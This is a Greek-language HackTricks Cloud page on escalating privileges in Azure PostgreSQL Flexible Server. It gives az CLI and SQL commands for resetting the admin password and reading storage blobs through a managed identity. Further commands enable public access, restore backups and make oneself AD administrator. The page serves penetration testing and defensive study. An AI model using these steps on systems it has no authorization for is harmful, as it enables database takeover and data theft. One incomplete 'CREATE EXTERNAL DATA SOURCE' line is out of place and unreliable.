Az - PostgreSQL Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
PostgreSQL Privesc
Για περισσότερες πληροφορίες σχετικά με τη SQL Database, ελέγξτε:
Microsoft.DBforPostgreSQL/flexibleServers/read && Microsoft.DBforPostgreSQL/flexibleServers/write
Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να ενημερώσετε ή να διαγράψετε τις παρουσίες PostgreSQL Flexible Server στο Azure. Αυτό περιλαμβάνει την προμήθεια νέων διακομιστών, την τροποποίηση των υπαρχουσών ρυθμίσεων διακομιστή ή την αποσυναρμολόγηση διακομιστών.
az postgres flexible-server create \
--name <ServerName> \
--resource-group <ResourceGroupName> \
--location <Location> \
--admin-user <AdminUsername> \
--admin-password <AdminPassword> \
--sku-name <SkuName> \
--storage-size <StorageSizeInGB> \
--tier <PricingTier> \
--version <PostgreSQLVersion>
Για παράδειγμα, αυτές οι άδειες επιτρέπουν την αλλαγή του κωδικού πρόσβασης PostgreSQL, χρήσιμο φυσικά σε περίπτωση που η αυθεντικοποίηση PostgreSQL είναι ενεργοποιημένη.
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
Επιπλέον, με τα δικαιώματα μπορείτε να ενεργοποιήσετε την ανατεθείσα ταυτότητα, να λειτουργήσετε με την διαχειριζόμενη ταυτότητα που είναι συνδεδεμένη με τον διακομιστή. Εδώ μπορείτε να βρείτε όλες τις επεκτάσεις που υποστηρίζει ο Azure PostgreSQL flexible server https://learn.microsoft.com/en-us/azure/cosmos-db/postgresql/reference-extensions. Για να μπορέσετε να χρησιμοποιήσετε αυτές τις επεκτάσεις, ορισμένες παράμετροι του διακομιστή (azure.extensions) πρέπει να αλλάξουν. Για παράδειγμα, εδώ με μια διαχειριζόμενη ταυτότητα που μπορεί να έχει πρόσβαση στο Azure Storage:
Πρώτα αλλάζουμε τις παραμέτρους και βεβαιωνόμαστε ότι η ανατεθείσα ταυτότητα είναι ενεργοποιημένη:
az postgres flexible-server parameter set \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--name azure.extensions \
--value "AZURE_STORAGE"
az postgres flexible-server identity update \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--system-assigned Enabled
CREATE EXTENSION IF NOT EXISTS azure_storage;
CREATE EXTERNAL DATA SOURCE ManagedIdentity
SELECT azure_storage.account_add('<storage-account>', '<storage-key>');
SELECT *
FROM azure_storage.blob_get(
'<storage-account>',
'<container>',
'message.txt',
decoder := 'text'
) AS t(content text)
LIMIT 1;
Επιπλέον, είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση αν θέλετε να έχετε πρόσβαση από ένα μη ιδιωτικό σημείο, για να το ενεργοποιήσετε:
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
Microsoft.DBforPostgreSQL/flexibleServers/read, Microsoft.DBforPostgreSQL/flexibleServers/write, Microsoft.DBforPostgreSQL/flexibleServers/backups/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Με αυτές τις άδειες μπορείτε να αποκαταστήσετε έναν διακομιστή από ένα αντίγραφο ασφαλείας με:
az postgres flexible-server restore \
--resource-group <RESOURCE_GROUP> \
--name <NEW_SERVER_NAME> \
--source-server <SOURCE_SERVER_NAME> \
--restore-time "<ISO8601_TIMESTAMP>" \
--yes
Microsoft.DBforPostgreSQL/flexibleServers/read, Microsoft.DBforPostgreSQL/flexibleServers/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.DBforPostgreSQL/flexibleServers/administrators/write && Microsoft.DBforPostgreSQL/flexibleServers/administrators/read
Με αυτή την άδεια, μπορείτε να διαμορφώσετε τους διαχειριστές Azure Active Directory (AD) για έναν PostgreSQL Flexible Server. Αυτό μπορεί να εκμεταλλευτεί με την τοποθέτηση του εαυτού σας ή ενός άλλου λογαριασμού ως τον διαχειριστή AD, παρέχοντας πλήρη διαχειριστικό έλεγχο πάνω στον PostgreSQL server. Η ενημέρωση υπάρχοντος κύριου δεν υποστηρίζεται ακόμα, οπότε αν υπάρχει ένας δημιουργημένος, πρέπει πρώτα να τον διαγράψετε.
Είναι σημαντικό ο flexible-server να έχει ανατεθεί διαχειριζόμενες ταυτότητες χρήστη για χρήση.
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--display-name <ADAdminDisplayName> \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

